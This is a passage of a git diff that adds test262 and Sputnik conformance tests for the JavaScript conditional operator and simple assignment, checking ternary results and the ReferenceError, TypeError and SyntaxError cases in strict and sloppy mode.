+ * @description Type(y) and Type(z) are string primitives
+ */
+
+//CHECK#1
+if (("" ? "" : "1") !== "1") {
+ $ERROR('#1: ("" ? "" : "1") === "1"');
+}
+
+//CHECK#2
+var z = new String("1");
+if (("" ? "1" : z) !== z) {
+ $ERROR('#2: (var y = new String("1"); ("" ? "1" : z) === z');
+}
+
diff --git a/js/src/tests/test262/ch11/11.12/S11.12_A3_T4.js b/js/src/tests/test262/ch11/11.12/S11.12_A3_T4.js
new file mode 100644
index 000000000..296ae94eb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.12/S11.12_A3_T4.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If ToBoolean(x) is false, return z
+ *
+ * @path ch11/11.12/S11.12_A3_T4.js
+ * @description Type(x) or Type(y) is changed between null and undefined
+ */
+
+//CHECK#1
+if ((false ? true : undefined) !== undefined) {
+ $ERROR('#1: (false ? true : undefined) === undefined');
+}
+
+//CHECK#2
+if ((false ? true : null) !== null) {
+ $ERROR('#2: (false ? true : null) === null');
+}
+
diff --git a/js/src/tests/test262/ch11/11.12/S11.12_A4_T1.js b/js/src/tests/test262/ch11/11.12/S11.12_A4_T1.js
new file mode 100644
index 000000000..588d90141
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.12/S11.12_A4_T1.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If ToBoolean(x) is true, return y
+ *
+ * @path ch11/11.12/S11.12_A4_T1.js
+ * @description Type(y) and Type(z) are boolean primitives
+ */
+
+//CHECK#1
+if ((true ? false : true) !== false) {
+ $ERROR('#1: (true ? false : true) === false');
+}
+
+//CHECK#2
+var y = new Boolean(true);
+if ((true ? y : false) !== y) {
+ $ERROR('#2: (var y = new Boolean(true); (true ? y : false) === y');
+}
+
+//CHECK#3
+var y = new Boolean(false);
+if ((y ? y : true) !== y) {
+ $ERROR('#3: (var y = new Boolean(false); (y ? y : true) === y');
+}
+
diff --git a/js/src/tests/test262/ch11/11.12/S11.12_A4_T2.js b/js/src/tests/test262/ch11/11.12/S11.12_A4_T2.js
new file mode 100644
index 000000000..eda208159
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.12/S11.12_A4_T2.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If ToBoolean(x) is true, return y
+ *
+ * @path ch11/11.12/S11.12_A4_T2.js
+ * @description Type(y) and Type(z) are number primitives
+ */
+
+//CHECK#1
+if ((1 ? 0 : 1) !== 0) {
+ $ERROR('#1: (1 ? 0 : 1) === 0');
+}
+
+//CHECK#2
+var y = new Number(1);
+if ((1 ? y : 0) !== y) {
+ $ERROR('#2: (var y = new Number(1); (1 ? y : 0) === y');
+}
+
+//CHECK#3
+var y = new Number(NaN);
+if ((y ? y : 1) !== y) {
+ $ERROR('#3: (var y = new Number(NaN); (y ? y : 1) === y');
+}
+
diff --git a/js/src/tests/test262/ch11/11.12/S11.12_A4_T3.js b/js/src/tests/test262/ch11/11.12/S11.12_A4_T3.js
new file mode 100644
index 000000000..168902e13
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.12/S11.12_A4_T3.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If ToBoolean(x) is true, return y
+ *
+ * @path ch11/11.12/S11.12_A4_T3.js
+ * @description Type(y) and Type(z) are string primitives
+ */
+
+//CHECK#1
+if (("1" ? "" : "1") !== "") {
+ $ERROR('#1: ("1" ? "" : "1") === ""');
+}
+
+//CHECK#2
+var y = new String("1");
+if (("1" ? y : "") !== y) {
+ $ERROR('#2: (var y = new String("1"); ("1" ? y : "") === y');
+}
+
+//CHECK#3
+var y = new String("y");
+if ((y ? y : "1") !== y) {
+ $ERROR('#3: (var y = new String("y"); (y ? y : "1") === y');
+}
+
diff --git a/js/src/tests/test262/ch11/11.12/S11.12_A4_T4.js b/js/src/tests/test262/ch11/11.12/S11.12_A4_T4.js
new file mode 100644
index 000000000..c3b5f4771
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.12/S11.12_A4_T4.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If ToBoolean(x) is true, return y
+ *
+ * @path ch11/11.12/S11.12_A4_T4.js
+ * @description Type(x) or Type(y) is changed between null and undefined
+ */
+
+//CHECK#1
+if ((true ? undefined : true) !== undefined) {
+ $ERROR('#1: (true ? undefined : true) === undefined');
+}
+
+//CHECK#2
+if ((true ? null : true) !== null) {
+ $ERROR('#2: (true ? null : true) === null');
+}
+
diff --git a/js/src/tests/test262/ch11/11.12/browser.js b/js/src/tests/test262/ch11/11.12/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.12/browser.js
diff --git a/js/src/tests/test262/ch11/11.12/shell.js b/js/src/tests/test262/ch11/11.12/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.12/shell.js
diff --git a/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-1-1.js b/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-1-1.js
new file mode 100644
index 000000000..551c80478
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-1-1.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * PutValue operates only on references (see step 1)
+ *
+ * @path ch11/11.13/11.13.1/11.13.1-1-1.js
+ * @description simple assignment throws ReferenceError if LeftHandSide is not a reference (number)
+ */
+
+
+function testcase() {
+ try {
+ eval("42 = 42");
+ }
+ catch (e) {
+ if (e instanceof ReferenceError) {
+ return true;
+ }
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-1-2.js b/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-1-2.js
new file mode 100644
index 000000000..5abde0d6d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-1-2.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * PutValue operates only on references (see step 1).
+ *
+ * @path ch11/11.13/11.13.1/11.13.1-1-2.js
+ * @description simple assignment throws ReferenceError if LeftHandSide is not a reference (string)
+ */
+
+
+function testcase() {
+ try {
+ eval("'x' = 42");
+ }
+ catch (e) {
+ if (e instanceof ReferenceError) {
+ return true;
+ }
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-1-3.js b/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-1-3.js
new file mode 100644
index 000000000..1dbeb18c3
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-1-3.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * PutValue operates only on references (see step 1).
+ *
+ * @path ch11/11.13/11.13.1/11.13.1-1-3.js
+ * @description simple assignment throws ReferenceError if LeftHandSide is not a reference (boolean)
+ */
+
+
+function testcase() {
+ try {
+ eval("true = 42");
+ }
+ catch (e) {
+ if (e instanceof ReferenceError) {
+ return true;
+ }
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-1-4.js b/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-1-4.js
new file mode 100644
index 000000000..dbbfb619b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-1-4.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * PutValue operates only on references (see step 1).
+ *
+ * @path ch11/11.13/11.13.1/11.13.1-1-4.js
+ * @description simple assignment throws ReferenceError if LeftHandSide is not a reference (null)
+ */
+
+
+function testcase() {
+ try {
+ eval("null = 42");
+ }
+ catch (e) {
+ if (e instanceof ReferenceError) {
+ return true;
+ }
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-1-6-s.js b/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-1-6-s.js
new file mode 100644
index 000000000..915caf590
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-1-6-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * PutValue operates only on references (see step 3.a).
+ *
+ * @path ch11/11.13/11.13.1/11.13.1-1-6-s.js
+ * @description simple assignment throws ReferenceError if LeftHandSide is an unresolvable reference in strict mode (base obj undefined)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ 'use strict';
+
+ try {
+ __ES3_1_test_suite_test_11_13_1_unique_id_0__.x = 42;
+ return false;
+ }
+ catch (e) {
+ return (e instanceof ReferenceError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-1-s.js b/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-1-s.js
new file mode 100644
index 000000000..5330f5411
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-1-s.js
@@ -0,0 +1,30 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.1/11.13.1-1-s.js
+ * @description Strict Mode - TypeError is thrown if The LeftHandSide is a reference to a data property with the attribute value {[[Writable]]:false} under strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var obj = {};
+ Object.defineProperty(obj, "prop", {
+ value: 10,
+ writable: false,
+ enumerable: true,
+ configurable: true
+ });
+
+ try {
+ obj.prop = 20;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError && obj.prop === 10;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-2-s.js b/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-2-s.js
new file mode 100644
index 000000000..f16e19d18
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-2-s.js
@@ -0,0 +1,32 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.1/11.13.1-2-s.js
+ * @description Strict Mode - TypeError is thrown if The LeftHandSide is a reference to an accessor property with the attribute value {[[Set]]:undefined} under strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var obj = {};
+ Object.defineProperty(obj, "prop", {
+ get: function () {
+ return 11;
+ },
+ set: undefined,
+ enumerable: true,
+ configurable: true
+ });
+
+ try {
+ obj.prop = 20;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError && obj.prop === 11;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-3-s.js b/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-3-s.js
new file mode 100644
index 000000000..79d23670e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-3-s.js
@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.1/11.13.1-3-s.js
+ * @description Strict Mode - TypeError is thrown if The LeftHandSide is a reference to a non-existent property of an object whose [[Extensible]] internal property has the value false under strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var obj = {};
+ Object.preventExtensions(obj);
+
+ try {
+ obj.len = 10;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-4-1.js b/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-4-1.js
new file mode 100644
index 000000000..04e93c38d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-4-1.js
@@ -0,0 +1,29 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * PutValue operates only on references (see step 3.b).
+ *
+ * @path ch11/11.13/11.13.1/11.13.1-4-1.js
+ * @description simple assignment creates property on the global object if LeftHandSide is an unresolvable reference
+ */
+
+
+function testcase() {
+ function foo() {
+ __ES3_1_test_suite_test_11_13_1_unique_id_3__ = 42;
+ }
+ foo();
+
+ var desc = Object.getOwnPropertyDescriptor(fnGlobalObject(), '__ES3_1_test_suite_test_11_13_1_unique_id_3__');
+ if (desc.value === 42 &&
+ desc.writable === true &&
+ desc.enumerable === true &&
+ desc.configurable === true) {
+ delete __ES3_1_test_suite_test_11_13_1_unique_id_3__;
+ return true;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-4-14-s.js b/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-4-14-s.js
new file mode 100644
index 000000000..e82720d70
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-4-14-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.1/11.13.1-4-14-s.js
+ * @description simple assignment throws TypeError if LeftHandSide is a readonly property in strict mode (Number.MAX_VALUE)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ 'use strict';
+
+ try {
+ Number.MAX_VALUE = 42;
+ return false;
+ }
+ catch (e) {
+ return (e instanceof TypeError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-4-27-s.js b/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-4-27-s.js
new file mode 100644
index 000000000..00da46eda
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-4-27-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.1/11.13.1-4-27-s.js
+ * @description simple assignment throws TypeError if LeftHandSide is a readonly property in strict mode (Global.undefined)
+ */
+
+
+function testcase() {
+ 'use strict';
+
+ try {
+ fnGlobalObject().undefined = 42;
+ return false;
+ }
+ catch (e) {
+ return (e instanceof TypeError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-4-28-s.js b/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-4-28-s.js
new file mode 100644
index 000000000..039991a37
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-4-28-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.1/11.13.1-4-28-s.js
+ * @description Strict Mode - SyntaxError is thrown if the identifier 'eval' appears as the LeftHandSideExpression of simple assignment(=) under strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var blah = eval;
+ try {
+ eval("var eval = 20;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && blah === eval;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-4-28gs.js b/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-4-28gs.js
new file mode 100644
index 000000000..86867f1ba
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-4-28gs.js
@@ -0,0 +1,14 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.1/11.13.1-4-28gs.js
+ * @description Strict Mode - SyntaxError is thrown if the identifier 'Math.PI' appears as the LeftHandSideExpression of simple assignment(=)
+ * @onlyStrict
+ * @negative NotEarlyError
+ */
+"use strict";
+throw NotEarlyError;
+Math.PI = 20;
diff --git a/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-4-29-s.js b/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-4-29-s.js
new file mode 100644
index 000000000..c9a5a404c
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-4-29-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.1/11.13.1-4-29-s.js
+ * @description Strict Mode - SyntaxError is thrown if the identifier 'arguments' appears as the LeftHandSideExpression of simple assignment(=) under strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var blah = arguments;
+ try {
+ eval("var arguments = 20;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && blah === arguments;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-4-29gs.js b/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-4-29gs.js
new file mode 100644
index 000000000..86e4f59ce
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-4-29gs.js
@@ -0,0 +1,13 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.1/11.13.1-4-29gs.js
+ * @description Strict Mode - SyntaxError is thrown if the identifier 'Math.PI' appears as the LeftHandSideExpression of simple assignment(=)
+ * @onlyStrict
+ * @negative .
+ */
+"use strict";
+Math.PI = 20;
diff --git a/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-4-3-s.js b/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-4-3-s.js
new file mode 100644
index 000000000..ff4d1710d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-4-3-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.1/11.13.1-4-3-s.js
+ * @description simple assignment throws TypeError if LeftHandSide is a readonly property in strict mode (Global.Infinity)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ 'use strict';
+
+ try {
+ fnGlobalObject().Infinity = 42;
+ return false;
+ }
+ catch (e) {
+ return (e instanceof TypeError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-4-30-s.js b/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-4-30-s.js
new file mode 100644
index 000000000..e494fab1b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-4-30-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.1/11.13.1-4-30-s.js
+ * @description Strict Mode - SyntaxError is thrown if the identifier 'eval' appears as the LeftHandSideExpression (PrimaryExpression) of simple assignment(=) under strict mode
+ * @onlyStrict
+ */
+
+
+
+function testcase() {
+ "use strict";
+ var blah = eval;
+ try {
+ eval("(eval) = 20;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && blah === eval;
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-4-31-s.js b/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-4-31-s.js
new file mode 100644
index 000000000..1d70a7723
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-4-31-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.1/11.13.1-4-31-s.js
+ * @description Strict Mode - SyntaxError is thrown if the identifier 'arguments' appears as the LeftHandSideExpression (PrimaryExpression) of simple assignment(=) under strict mode
+ * @onlyStrict
+ */
+
+
+
+function testcase() {
+ "use strict";
+ var blah = arguments;
+ try {
+ eval("(arguments) = 20;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && blah === arguments;
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-4-6-s.js b/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-4-6-s.js
new file mode 100644
index 000000000..158152924
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.1/11.13.1-4-6-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.1/11.13.1-4-6-s.js
+ * @description simple assignment throws TypeError if LeftHandSide is a readonly property in strict mode (Function.length)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ 'use strict';
+
+ try {
+ Function.length = 42;
+ return false;
+ }
+ catch (e) {
+ return (e instanceof TypeError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.1/S11.13.1_A1.js b/js/src/tests/test262/ch11/11.13/11.13.1/S11.13.1_A1.js
new file mode 100644
index 000000000..533091b57
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.1/S11.13.1_A1.js
@@ -0,0 +1,62 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between LeftHandSideExpression and "=" or between "=" and AssignmentExpression are allowed
+ *
+ * @path ch11/11.13/11.13.1/S11.13.1_A1.js
+ * @description Checking by using eval
+ * @noStrict
+ */
+
+//CHECK#1
+if ((eval("x\u0009=\u0009true")) !== true) {
+ $ERROR('#1: (x\\u0009=\\u0009true) === true');
+}
+
+//CHECK#2
+if ((eval("x\u000B=\u000Btrue")) !== true) {
+ $ERROR('#2: (x\\u000B=\\u000Btrue) === true');
+}
+
+//CHECK#3
+if ((eval("x\u000C=\u000Ctrue")) !== true) {
+ $ERROR('#3: (x\\u000C=\\u000Ctrue) === true');
+}
+
+//CHECK#4
+if ((eval("x\u0020=\u0020true")) !== true) {
+ $ERROR('#4: (x\\u0020=\\u0020true) === true');
+}
+
+//CHECK#5
+if ((eval("x\u00A0=\u00A0true")) !== true) {
+ $ERROR('#5: (x\\u00A0=\\u00A0true) === true');
+}
+
+//CHECK#6
+if ((eval("x\u000A=\u000Atrue")) !== true) {
+ $ERROR('#6: (x\\u000A=\\u000Atrue) === true');
+}
+
+//CHECK#7
+if ((eval("x\u000D=\u000Dtrue")) !== true) {
+ $ERROR('#7: (x\\u000D=\\u000Dtrue) === true');
+}
+
+//CHECK#8
+if ((eval("x\u2028=\u2028true")) !== true) {
+ $ERROR('#8: (x\\u2028=\\u2028true) === true');
+}
+
+//CHECK#9
+if ((eval("x\u2029=\u2029true")) !== true) {
+ $ERROR('#9: (x\\u2029=\\u2029true) === true');
+}
+
+
+//CHECK#10
+if ((eval("x\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029=\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029true")) !== true) {
+ $ERROR('#10: (x\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029=\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029true) === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.1/S11.13.1_A2.1_T1.js b/js/src/tests/test262/ch11/11.13/11.13.1/S11.13.1_A2.1_T1.js
new file mode 100644
index 000000000..3c3a793ed
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.1/S11.13.1_A2.1_T1.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x = y uses GetValue and PutValue
+ *
+ * @path ch11/11.13/11.13.1/S11.13.1_A2.1_T1.js
+ * @description Either AssigmentExpression is not Reference or GetBase is not null
+ */
+
+//CHECK#1
+x = 1;
+if (x !== 1) {
+ $ERROR('#1: x = 1; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+var x = 1;
+if (x !== 1) {
+ $ERROR('#2: var x = 1; x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+y = 1;
+x = y;
+if (x !== 1) {
+ $ERROR('#3: y = 1; x = y; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+var y = 1;
+var x = y;
+if (x !== 1) {
+ $ERROR('#4: var y = 1; var x = y; x === 1. Actual: ' + (x));
+}
+
+//CHECK#5
+var objectx = new Object();
+var objecty = new Object();
+objecty.prop = 1.1;
+objectx.prop = objecty.prop;
+if (objectx.prop !== objecty.prop) {
+ $ERROR('#5: var objectx = new Object(); var objecty = new Object(); objecty.prop = 1; objectx.prop = objecty.prop; objectx.prop === objecty.prop. Actual: ' + (objectx.prop));
+} else {
+ if (objectx === objecty) {
+ $ERROR('#5: var objectx = new Object(); var objecty = new Object(); objecty.prop = 1; objectx.prop = objecty.prop; objectx !== objecty');
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.1/S11.13.1_A2.1_T2.js b/js/src/tests/test262/ch11/11.13/11.13.1/S11.13.1_A2.1_T2.js
new file mode 100644
index 000000000..7f48afc64
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.1/S11.13.1_A2.1_T2.js
